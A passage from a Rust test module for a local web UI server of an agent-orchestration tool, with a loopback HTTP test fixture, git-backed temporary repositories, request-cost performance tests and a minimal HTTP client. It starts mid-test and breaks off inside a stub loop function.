11765        let dir = TempDir::new().unwrap();
11766        let store = ask::Questions::at(dir.path().to_path_buf());
11767        let mut with_deputy = plain_question("b");
11768        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11769        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11770
11771        let calls = std::cell::Cell::new(0usize);
11772        let views = question_views(qs.clone(), &store, || {
11773            calls.set(calls.get() + 1);
11774            Some(stub_config())
11775        });
11776        assert_eq!(calls.get(), 1);
11777        assert_eq!(views.len(), 3);
11778        for (v, q) in views.iter().zip(&qs) {
11779            assert_eq!(
11780                v.deputies_enabled,
11781                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11782            );
11783        }
11784
11785        let views = question_views(qs, &store, || None);
11786        assert!(views.iter().all(|v| !v.deputies_enabled));
11787
11788        let calls = std::cell::Cell::new(0usize);
11789        let views = question_views(Vec::new(), &store, || {
11790            calls.set(calls.get() + 1);
11791            None
11792        });
11793        assert!(views.is_empty());
11794        assert_eq!(calls.get(), 0);
11795    }
11796
11797    use pretty_assertions::assert_eq;
11798    use serde_json::Value;
11799    use tempfile::TempDir;
11800    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11801
11802    use super::*;
11803
11804    // Embedded assets preserve checkout line endings. Source assertions use
11805    // logical lines, independent of the platform's checkout conversion.
11806    static APP_JS: std::sync::LazyLock<String> =
11807        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11808    static APP_CSS: std::sync::LazyLock<String> =
11809        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11810    use crate::config::Config;
11811    use crate::queue::Source;
11812
11813    /// How many 10ms steps a settle loop takes before it calls a stall a
11814    /// stall - thirty seconds.
11815    ///
11816    /// These loops wait on real `sh` subprocesses, and the machine that runs
11817    /// the gate runs several suites at once, so a two-second budget was not
11818    /// waiting for the reply, it was racing the scheduler: two of these
11819    /// tests failed under that load with the turn simply not landed yet.
11820    /// This is a hang guard, not a latency assertion - every loop breaks the
11821    /// moment its condition holds, so a generous cap costs an idle machine
11822    /// nothing and still fails a genuine hang instead of hanging the suite.
11823    const SETTLE_STEPS: usize = 3_000;
11824
11825    /// A home with a queue and a runs directory, and a router serving it on
11826    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11827    /// dependency, not ours - so the tests drive a real socket, which has the
11828    /// side benefit of asserting the status line and content types the phone
11829    /// actually receives.
11830    struct Fixture {
11831        home: TempDir,
11832        addr: SocketAddr,
11833    }
11834
11835    impl Fixture {
11836        async fn start() -> Self {
11837            Self::with_loop(launch_idle).await
11838        }
11839
11840        /// A fixture whose loop is `launch`.
11841        async fn with_loop(launch: Launch) -> Self {
11842            let home = TempDir::new().expect("temp home");
11843            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11844            Self { home, addr }
11845        }
11846
11847        /// A fixture whose `ui.repo` is a real directory rather than the
11848        /// usual placeholder - for the routes that read config off it
11849        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11850        async fn with_repo(repo: PathBuf) -> Self {
11851            let home = TempDir::new().expect("temp home");
11852            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11853            Self { home, addr }
11854        }
11855
11856        /// As [`Fixture::with_repo`], with the machine-config file the
11857        /// settings screen reads and writes.
11858        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11859            let home = TempDir::new().expect("temp home");
11860            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11861            Self { home, addr }
11862        }
11863
11864        async fn serve(
11865            home: &FsPath,
11866            repo: PathBuf,
11867            launch: Launch,
11868            machine: Option<PathBuf>,
11869        ) -> SocketAddr {
11870            let queue = Queue::at(home.join("queue"));
11871            let runs = home.join("runs");
11872            std::fs::create_dir_all(&runs).expect("runs dir");
11873            let worktrees = home.join("wt").join("magi");
11874            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11875            let ui = Ui::new(
11876                queue,
11877                Questions::at(home.join("questions")),
11878                Talks::at(home.join("talks")),
11879                runs,
11880                home.to_path_buf(),
11881                repo,
11882            )
11883            .with_worktrees_root(worktrees)
11884            .with_machine_config(machine)
11885            .with_launch(launch);
11886            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11887                .await
11888                .expect("bind loopback");
11889            let addr = listener.local_addr().expect("local addr");
11890            tokio::spawn(async move {
11891                let router = ui
11892                    .router()
11893                    .layer(axum::middleware::from_fn(request_cost::observe));
11894                let _ = axum::serve(listener, router).await;
11895            });
11896            addr
11897        }
11898
11899        fn queue(&self) -> Queue {
11900            Queue::at(self.home.path().join("queue"))
11901        }
11902
11903        fn questions(&self) -> Questions {
11904            Questions::at(self.home.path().join("questions"))
11905        }
11906
11907        fn talks(&self) -> Talks {
11908            Talks::at(self.home.path().join("talks"))
11909        }
11910
11911        fn runs(&self) -> PathBuf {
11912            self.home.path().join("runs")
11913        }
11914
11915        async fn get(&self, path: &str) -> Res {
11916            request(self.addr, "GET", path, None).await
11917        }
11918
11919        /// The status and headers without the body, which is how the front end
11920        /// preflights a panel: a sandboxed frame is opaque to the parent
11921        /// document, so the only way to tell "no panel" from "a panel that
11922        /// rendered blank" is to ask before mounting.
11923        async fn head(&self, path: &str) -> Res {
11924            request(self.addr, "HEAD", path, None).await
11925        }
11926
11927        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11928            request(self.addr, "POST", path, body).await
11929        }
11930
11931        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11932            request_with(self.addr, "GET", path, None, extra).await
11933        }
11934
11935        async fn delete(&self, path: &str) -> Res {
11936            request(self.addr, "DELETE", path, None).await
11937        }
11938
11939        async fn put(&self, path: &str, body: &str) -> Res {
11940            request(self.addr, "PUT", path, Some(body)).await
11941        }
11942
11943        /// `POST` a raw body with its own headers - see [`request_bytes`].
11944        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11945            request_bytes(self.addr, path, headers, body).await
11946        }
11947    }
11948
11949    /// Real tracking refs exercise the successful discovery path (including
11950    /// extraction), rather than counting cheap failures on a placeholder repo.
11951    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11952        let tmp = TempDir::new().unwrap();
11953        let mut repos = Vec::new();
11954        for name in ["one", "two"] {
11955            let repo = tmp.path().join(name);
11956            let origin = tmp.path().join(format!("{name}.git"));
11957            std::fs::create_dir_all(&repo).unwrap();
11958            crate::git::git(&repo, &["init", "-b", "main"])
11959                .await
11960                .unwrap();
11961            std::fs::write(
11962                repo.join("magi.toml"),
11963                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11964            )
11965            .unwrap();
11966            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11967            crate::git::git(
11968                &repo,
11969                &[
11970                    "-c",
11971                    "user.name=fixture",
11972                    "-c",
11973                    "user.email=fixture@example.invalid",
11974                    "commit",
11975                    "-m",
11976                    "fixture",
11977                ],
11978            )
11979            .await
11980            .unwrap();
11981            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11982                .await
11983                .unwrap();
11984            crate::git::git(
11985                &repo,
11986                &["remote", "add", "origin", origin.to_str().unwrap()],
11987            )
11988            .await
11989            .unwrap();
11990            crate::git::git(&repo, &["push", "origin", "main"])
11991                .await
11992                .unwrap();
11993            crate::git::git(
11994                &repo,
11995                &[
11996                    "symbolic-ref",
11997                    "refs/remotes/origin/HEAD",
11998                    "refs/remotes/origin/main",
11999                ],
12000            )
12001            .await
12002            .unwrap();
12003            let (cfg, _) = Config::discover(&repo, None).unwrap();
12004            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12005            repos.push(repo);
12006        }
12007        let repos: [PathBuf; 2] = repos.try_into().unwrap();
12008        (tmp, repos)
12009    }
12010
12011    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12012        let (tmp, repos) = performance_repositories().await;
12013        let machine = tmp.path().join("machine.toml");
12014        std::fs::write(&machine, "").unwrap();
12015        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12016        (tmp, repos, fx)
12017    }
12018
12019    fn seed_performance(
12020        fx: &Fixture,
12021        repos: &[PathBuf; 2],
12022        questions: usize,
12023        runs: usize,
12024        items: usize,
12025    ) {
12026        // Saving states directly never starts a run or changes MAGI_HOME.
12027        for i in fx.questions().list().len()..questions {
12028            let mut question = Question::new(
12029                "20261001-000000-0000".into(),
12030                "implement".into(),
12031                "impl-A".into(),
12032                format!("question {i}"),
12033                "context".into(),
12034                vec!["yes".into(), "no".into()],
12035            );
12036            question.id = format!("20261003-000000-{i:04x}");
12037            fx.questions().put(&mut question).unwrap();
12038        }
12039        for i in run_ids(&fx.runs()).len()..runs {
12040            write_run_repo(
12041                &fx.runs(),
12042                &format!("20261001-000000-{i:04x}"),
12043                RunStatus::Ready,
12044                repos[i % 2].to_str().unwrap(),
12045            );
12046        }
12047        for i in fx.talks().list().len()..items {
12048            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12049            let mut talk = fx.talks().get(&id).unwrap();
12050            talk.repo = repos[i % 2].clone();
12051            fx.talks().put(&mut talk).unwrap();
12052            let mut task = crate::queue::Task::new(
12053                format!("task {i}"),
12054                "instruction".into(),
12055                repos[i % 2].clone(),
12056                crate::queue::Source::Agent {
12057                    run: id,
12058                    node: crate::queue::CHAT_NODE.into(),
12059                },
12060            );
12061            task.id = format!("20261004-000000-{i:04x}");
12062            fx.queue().put(&mut task).unwrap();
12063            // Notices has a production retention cap; seed up to that cap.
12064            if i < crate::notices::CAP {
12065                Notices::at(fx.home.path().join("notifications"))
12066                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12067                    .unwrap();
12068            }
12069        }
12070        assert_eq!(fx.questions().list().len(), questions);
12071        assert_eq!(run_ids(&fx.runs()).len(), runs);
12072        assert_eq!(fx.talks().list().len(), items);
12073        assert_eq!(fx.queue().list().len(), items);
12074        assert_eq!(
12075            Notices::at(fx.home.path().join("notifications"))
12076                .list()
12077                .len(),
12078            items.min(crate::notices::CAP)
12079        );
12080    }
12081
12082    #[tokio::test]
12083    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12084        let home = TempDir::new().unwrap();
12085        let root = home.path().canonicalize().unwrap();
12086        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12087        let fx = Fixture { home, addr };
12088        let repo = root.as_path().join("archive-repo");
12089        std::fs::create_dir(&repo).unwrap();
12090        crate::git::git(&repo, &["init", "-b", "main"])
12091            .await
12092            .unwrap();
12093        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12094            .await
12095            .unwrap();
12096        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12097            .await
12098            .unwrap();
12099        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12100            .await
12101            .unwrap();
12102        std::fs::write(repo.join("source"), "base").unwrap();
12103        crate::git::git(&repo, &["add", "."]).await.unwrap();
12104        crate::git::git(&repo, &["commit", "-m", "base"])
12105            .await
12106            .unwrap();
12107        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12108        std::fs::write(repo.join("source"), "archived review").unwrap();
12109        crate::git::git(&repo, &["commit", "-am", "review"])
12110            .await
12111            .unwrap();
12112        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12113        let mut config = Config::default();
12114        config.graph.worktree_root = Some(root.as_path().join("copies"));
12115        let mut state = RunState::new(
12116            repo.clone(),
12117            "main".into(),
12118            base.clone(),
12119            "archive".into(),
12120            config,
12121        );
12122        state.id = "20260101-000000-ef05".into();
12123        state.status = RunStatus::Ready;
12124        state.save_under(root.as_path()).unwrap();
12125        let evidence =
12126            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12127                .await
12128                .unwrap();
12129        let base_evidence =
12130            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12131                .await
12132                .unwrap();
12133        let source = state.worktree_root().join("review-1");
12134        let mut contents = std::collections::BTreeMap::new();
12135        contents.insert(
12136            repo.join("logs/HEAD"),
12137            format!("{base} {head} fixture\n").into_bytes(),
12138        );
12139        let record = serde_json::json!({
12140            "version":1, "run":state.id, "source":source, "head":head,
12141            "evidence":evidence, "admin":{}, "admin_contents":contents,
12142            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12143        });
12144        std::fs::write(
12145            fx.runs()
12146                .join(&state.id)
12147                .join("artifacts/eviction-review-1.json"),
12148            serde_json::to_vec(&record).unwrap(),
12149        )
12150        .unwrap();
12151        std::fs::remove_dir_all(&repo).unwrap();
12152        let url = format!("/api/runs/{}/seat-evidence", state.id);
12153        let list = fx.get(&url).await;
12154        assert_eq!(list.status, 200, "{}", list.body);
12155        assert_eq!(list.json()[&head], "review-1");
12156        let patch = fx.get(&format!("{url}/{head}")).await;
12157        assert_eq!(patch.status, 200, "{}", patch.body);
12158        assert!(patch.body.contains("+archived review"));
12159        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12160        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12161        assert_eq!(fx.get(&url).await.status, 404);
12162        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12163    }
12164
12165    fn request_counts(res: &Res) -> (usize, usize) {
12166        assert_eq!(res.status, 200, "{}", res.body);
12167        (
12168            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12169            res.header("x-test-git").unwrap().parse().unwrap(),
12170        )
12171    }
12172
12173    #[tokio::test]
12174    async fn list_request_cost_is_independent_of_record_count() {
12175        let mut previous = None;
12176        for n in [4, 60] {
12177            // Health refreshes configuration on a detached thread. Run it
12178            // last and give each scale its own repository/cache so that
12179            // refresh cannot warm the next measured cold extraction.
12180            let (_tmp, repos, fx) = performance_fixture().await;
12181            seed_performance(&fx, &repos, n, n, n);
12182            let mut costs = Vec::new();
12183            for (path, discoveries) in [
12184                ("/api/questions", 1),
12185                ("/api/talks", 0),
12186                ("/api/stats", 1),
12187                ("/api/health", 0),
12188            ] {
12189                // Equal cold extraction caches at both scales; this also
12190                // bounds first-request cost instead of only warmed requests.
12191                for repo in &repos {
12192                    let cache = repo.join(".git/magi/config");
12193                    if cache.exists() {
12194                        std::fs::remove_dir_all(cache).unwrap();
12195                    }
12196                }
12197                let cost = request_counts(&fx.get(path).await);
12198                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12199                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12200                assert!(
12201                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12202                    "{path}: {cost:?}"
12203                );
12204                costs.push(cost);
12205            }
12206            if let Some(previous) = previous {
12207                assert_eq!(costs, previous);
12208            }
12209            previous = Some(costs);
12210        }
12211        // runs reads shared row inputs and probes process liveness; queue
12212        // builds one blocker inventory; notifications reads its own store.
12213        // None discovers configuration or spawns git per item.
12214    }
12215
12216    /// The same handler path without transport, so the deterministic cause
12217    /// can also be checked in environments that prohibit binding sockets.
12218    #[tokio::test]
12219    async fn list_handler_cost_without_transport() {
12220        let mut previous = None;
12221        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12222            // As in the transport test, isolate each scale from the previous
12223            // health request's detached configuration refresh.
12224            let (_tmp, repos) = performance_repositories().await;
12225            let fx = Fixture {
12226                home: TempDir::new().unwrap(),
12227                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12228            };
12229            let ui = Arc::new(
12230                Ui::new(
12231                    fx.queue(),
12232                    fx.questions(),
12233                    fx.talks(),
12234                    fx.runs(),
12235                    fx.home.path().to_path_buf(),
12236                    repos[0].clone(),
12237                )
12238                .with_worktrees_root(fx.home.path().join("wt")),
12239            );
12240            seed_performance(&fx, &repos, n, runs, items);
12241            let mut costs = Vec::new();
12242            for endpoint in ["questions", "talks", "stats", "health"] {
12243                for repo in &repos {
12244                    let cache = repo.join(".git/magi/config");
12245                    if cache.exists() {
12246                        std::fs::remove_dir_all(cache).unwrap();
12247                    }
12248                }
12249                let (_, cost) = request_cost::measure(async {
12250                    match endpoint {
12251                        "questions" => {
12252                            let _ = questions_list(State(ui.clone())).await.unwrap();
12253                        }
12254                        "talks" => {
12255                            let _ = talks_list(
12256                                State(ui.clone()),
12257                                Query(ListQuery {
12258                                    limit: None,
12259                                    ids: None,
12260                                }),
12261                                header::HeaderMap::new(),
12262                            )
12263                            .await
12264                            .unwrap();
12265                        }
12266                        "health" => {
12267                            let _ = health(State(ui.clone())).await.unwrap();
12268                        }
12269                        _ => {
12270                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12271                                .await
12272                                .unwrap();
12273                        }
12274                    }
12275                })
12276                .await;
12277                eprintln!("{endpoint} handler N={n}: {cost:?}");
12278                assert_eq!(
12279                    cost.0,
12280                    if matches!(endpoint, "talks" | "health") {
12281                        0
12282                    } else {
12283                        1
12284                    },
12285                    "{endpoint}"
12286                );
12287                assert!(
12288                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12289                    "{endpoint}: {cost:?}"
12290                );
12291                costs.push(cost);
12292            }
12293            if let Some(previous) = previous {
12294                assert_eq!(costs, previous);
12295            }
12296            previous = Some(costs);
12297        }
12298    }
12299
12300    #[tokio::test]
12301    async fn monitor_and_periodic_update_recheck_git_cost() {
12302        let (tmp, repos) = performance_repositories().await;
12303        let fx = Fixture {
12304            home: TempDir::new().unwrap(),
12305            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12306        };
12307        let ui = Arc::new(
12308            Ui::new(
12309                fx.queue(),
12310                fx.questions(),
12311                fx.talks(),
12312                fx.runs(),
12313                fx.home.path().to_path_buf(),
12314                repos[0].clone(),
12315            )
12316            .with_worktrees_root(fx.home.path().join("wt")),
12317        );
12318        let cache = repos[0].join(".git/magi/config");
12319        if cache.exists() {
12320            std::fs::remove_dir_all(&cache).unwrap();
12321        }
12322
12323        let (_, monitor_cost) = request_cost::measure(async {
12324            let mut snapshot = None;
12325            for _ in 0..20 {
12326                let state = Arc::clone(&ui);
12327                snapshot = Some(
12328                    tokio::task::spawn_blocking(request_cost::carry(move || {
12329                        monitor_scan(&state, snapshot)
12330                    }))
12331                    .await
12332                    .unwrap(),
12333                );
12334            }
12335        })
12336        .await;
12337        assert_eq!(monitor_cost, (0, 0));
12338
12339        // The idle update worker, unlike the revision monitor, reads config.
12340        let (_, cold_cost) = request_cost::measure(async {
12341            for _ in 0..20 {
12342                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12343            }
12344        })
12345        .await;
12346        assert_eq!(cold_cost, (20, 21));
12347
12348        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12349        // working tree, then fetch; the next scan must immediately observe the
12350        // new committed `magi.toml`.
12351        let origin = tmp.path().join("one.git");
12352        let pusher = tmp.path().join("pusher-one");
12353        crate::git::git(
12354            tmp.path(),
12355            &[
12356                "clone",
12357                "-b",
12358                "main",
12359                origin.to_str().unwrap(),
12360                pusher.to_str().unwrap(),
12361            ],
12362        )
12363        .await
12364        .unwrap();
12365        std::fs::write(
12366            pusher.join("magi.toml"),
12367            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12368        )
12369        .unwrap();
12370        crate::git::git(&pusher, &["add", "magi.toml"])
12371            .await
12372            .unwrap();
12373        crate::git::git(
12374            &pusher,
12375            &[
12376                "-c",
12377                "user.name=fixture",
12378                "-c",
12379                "user.email=fixture@example.invalid",
12380                "commit",
12381                "-m",
12382                "bump implementers",
12383            ],
12384        )
12385        .await
12386        .unwrap();
12387        crate::git::git(&pusher, &["push", "origin", "main"])
12388            .await
12389            .unwrap();
12390        crate::git::git(&repos[0], &["fetch", "origin"])
12391            .await
12392            .unwrap();
12393
12394        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12395        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12396        assert_eq!(moved_cost, (1, 2));
12397        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12398        assert_eq!(observed_again, observed);
12399        assert_eq!(warm_cost, (1, 1));
12400    }
12401
12402    #[tokio::test]
12403    async fn list_request_cost_scopes_do_not_mix() {
12404        let (_tmp, repos, fx) = performance_fixture().await;
12405        seed_performance(&fx, &repos, 10, 0, 10);
12406        let (questions, talks, notices) = tokio::join!(
12407            fx.get("/api/questions"),
12408            fx.get("/api/talks"),
12409            fx.get("/api/notifications")
12410        );
12411        assert_eq!(request_counts(&questions).0, 1);
12412        // Cached summaries perform no config discovery or git work, even
12413        // alongside the questions request that still discovers config.
12414        assert_eq!(request_counts(&talks), (0, 0));
12415        assert_eq!(request_counts(&notices), (0, 0));
12416    }
12417
12418    #[tokio::test]
12419    async fn list_endpoints_large_home_responses() {
12420        check_large_home_endpoints(false).await;
12421    }
12422
12423    #[tokio::test]
12424    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12425    async fn list_endpoints_large_home_ceiling() {
12426        check_large_home_endpoints(true).await;
12427    }
12428
12429    async fn check_large_home_endpoints(timed: bool) {
12430        let (_tmp, repos, fx) = performance_fixture().await;
12431        seed_performance(&fx, &repos, 200, 300, 400);
12432        let mut failures = Vec::new();
12433        // app.js boot/change loads plus the initial dashboard, settings and
12434        // repo picker. SSE is a persistent stream, not a bounded GET.
12435        for path in [
12436            "/",
12437            "/app.js",
12438            "/app.css",
12439            "/api/questions",
12440            "/api/runs?limit=300",
12441            "/api/queue",
12442            "/api/talks",
12443            "/api/notifications",
12444            "/api/health",
12445            "/api/stats",
12446            "/api/loop",
12447            "/api/settings",
12448            "/api/repos",
12449        ] {
12450            let start = std::time::Instant::now();
12451            let result = if timed {
12452                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12453            } else {
12454                Ok(fx.get(path).await)
12455            };
12456            let elapsed = start.elapsed();
12457            eprintln!("{path}: {elapsed:?}");
12458            match result {
12459                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12460                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12461                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12462            }
12463        }
12464        assert!(failures.is_empty(), "{}", failures.join("\n"));
12465    }
12466
12467    struct Res {
12468        status: u16,
12469        headers: String,
12470        /// The header block with its original casing, for the assertions that
12471        /// compare a header *value* rather than looking for a name. Lowercasing
12472        /// a CSP would hide a directive spelled with a capital letter, and the
12473        /// whole point of that test is that the string is exactly right.
12474        head: String,
12475        body: String,
12476        /// The body before any UTF-8 handling, for the routes that serve
12477        /// something other than text. A panel asset is a PNG as often as not,
12478        /// and `from_utf8_lossy` would silently replace half of it.
12479        bytes: Vec<u8>,
12480    }
12481
12482    impl Res {
12483        fn json(&self) -> Value {
12484            serde_json::from_str(&self.body)
12485                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12486        }
12487
12488        /// One header's value verbatim, or `None` when it was not sent.
12489        fn header(&self, name: &str) -> Option<&str> {
12490            self.head.lines().find_map(|line| {
12491                let (key, value) = line.split_once(':')?;
12492                key.trim()
12493                    .eq_ignore_ascii_case(name)
12494                    .then(|| value.trim_start().trim_end_matches('\r'))
12495            })
12496        }
12497    }
12498
12499    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12500    /// be read to end-of-stream without parsing framing.
12501    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12502        request_with(addr, method, path, body, &[]).await
12503    }
12504
12505    /// As [`request`], with extra request headers - conditional GETs need
12506    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12507    /// worse than one that sets none.
12508    async fn request_with(
12509        addr: SocketAddr,
12510        method: &str,
12511        path: &str,
12512        body: Option<&str>,
12513        extra: &[(&str, &str)],
12514    ) -> Res {
12515        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12516        for (name, value) in extra {
12517            head.push_str(&format!("{name}: {value}\r\n"));
12518        }
12519        if let Some(body) = body {
12520            head.push_str("Content-Type: application/json\r\n");
12521            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12522        }
12523        head.push_str("\r\n");
12524        if let Some(body) = body {
12525            head.push_str(body);
12526        }
12527        let mut socket = tokio::net::TcpStream::connect(addr)
12528            .await
12529            .expect("connect to the test server");
12530        socket
12531            .write_all(head.as_bytes())
12532            .await
12533            .expect("write request");
12534        let mut raw = Vec::new();
12535        socket.read_to_end(&mut raw).await.expect("read response");
12536        // Split on the raw bytes rather than on a lossy string, so a binary
12537        // body survives to be compared byte for byte.
12538        let split = raw
12539            .windows(4)
12540            .position(|w| w == b"\r\n\r\n")
12541            .expect("a header block");
12542        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12543        let bytes = raw[split + 4..].to_vec();
12544        let status = head
12545            .lines()
12546            .next()
12547            .and_then(|line| line.split_whitespace().nth(1))
12548            .and_then(|code| code.parse().ok())
12549            .expect("a status line");
12550        Res {
12551            status,
12552            headers: head.to_lowercase(),
12553            head,
12554            body: String::from_utf8_lossy(&bytes).into_owned(),
12555            bytes,
12556        }
12557    }
12558
12559    /// A `POST` carrying a raw binary body and its own headers, for the
12560    /// attachment upload route - `request_with` only ever sends
12561    /// `Content-Type: application/json`, which is wrong for an image and
12562    /// would corrupt anything not valid UTF-8 by round-tripping it through
12563    /// `&str` first.
12564    async fn request_bytes(
12565        addr: SocketAddr,
12566        path: &str,
12567        headers: &[(&str, &str)],
12568        body: &[u8],
12569    ) -> Res {
12570        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12571        for (name, value) in headers {
12572            head.push_str(&format!("{name}: {value}\r\n"));
12573        }
12574        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12575        let mut socket = tokio::net::TcpStream::connect(addr)
12576            .await
12577            .expect("connect to the test server");
12578        socket
12579            .write_all(head.as_bytes())
12580            .await
12581            .expect("write request head");
12582        socket.write_all(body).await.expect("write request body");
12583        let mut raw = Vec::new();
12584        socket.read_to_end(&mut raw).await.expect("read response");
12585        let split = raw
12586            .windows(4)
12587            .position(|w| w == b"\r\n\r\n")
12588            .expect("a header block");
12589        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12590        let bytes = raw[split + 4..].to_vec();
12591        let status = head
12592            .lines()
12593            .next()
12594            .and_then(|line| line.split_whitespace().nth(1))
12595            .and_then(|code| code.parse().ok())
12596            .expect("a status line");
12597        Res {
12598            status,
12599            headers: head.to_lowercase(),
12600            head,
12601            body: String::from_utf8_lossy(&bytes).into_owned(),
12602            bytes,
12603        }
12604    }
12605
12606    /// A run on disk, without touching the process-global magi home.
12607    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12608        let mut state = RunState::new(
12609            PathBuf::from("/repo/magi"),
12610            "main".to_owned(),
12611            "0123456789abcdef".to_owned(),
12612            "Add a web UI\n\nMobile first.".to_owned(),
12613            Config::default(),
12614        );
12615        state.id = id.to_owned();
12616        state.status = status;
12617        let dir = runs.join(id);
12618        std::fs::create_dir_all(&dir).expect("run dir");
12619        std::fs::write(
12620            dir.join("run.json"),
12621            serde_json::to_string_pretty(&state).expect("serialize run"),
12622        )
12623        .expect("write run.json");
12624    }
12625
12626    /// Same as [`write_run`], but against a named repository rather than the
12627    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12628    /// spread across more than one.
12629    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12630        let mut state = RunState::new(
12631            PathBuf::from(repo),
12632            "main".to_owned(),
12633            "0123456789abcdef".to_owned(),
12634            "task".to_owned(),
12635            Config::default(),
12636        );
12637        state.id = id.to_owned();
12638        state.status = status;
12639        let dir = runs.join(id);
12640        std::fs::create_dir_all(&dir).expect("run dir");
12641        std::fs::write(
12642            dir.join("run.json"),
12643            serde_json::to_string_pretty(&state).expect("serialize run"),
12644        )
12645        .expect("write run.json");
12646    }
12647
12648    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12649        let body = serde_json::json!({
12650            "schema": 1,
12651            "pid": 4242,
12652            "started_at": Timestamp::now().to_string(),
12653            "updated_at": updated_at.to_string(),
12654            "idle": false,
12655            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12656            "completed": 7,
12657            "polls": 143,
12658        });
12659        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12660    }
12661
12662    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12663    ///
12664    /// No test in this file may start the real loop - see [`Ui::launch`] for
12665    /// why - so this stands in for the only thing the routes need a loop to
12666    /// do: keep running until `Stop` is set, then return. A real
12667    /// `serve_until` here would resolve its queue and its status file through
12668    /// the process-global magi home, claim whatever it found in the
12669    /// operator's live backlog, overwrite the status file of the `magi serve`
12670    /// that owns it, and spend real agent quota on a real competition.
12671    fn launch_idle(
12672        _opts: daemon::Opts,
12673        stop: daemon::Stop,
12674    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12675        Box::pin(async move {
12676            while !stop.stopped() {
12677                tokio::time::sleep(Duration::from_millis(2)).await;
12678            }
12679            Ok(())
12680        })
12681    }
12682
12683    /// A loop that fails on the way up, the way one whose home has gone
12684    /// read-only does.
12685    fn launch_broken(
12686        _opts: daemon::Opts,
12687        _stop: daemon::Stop,
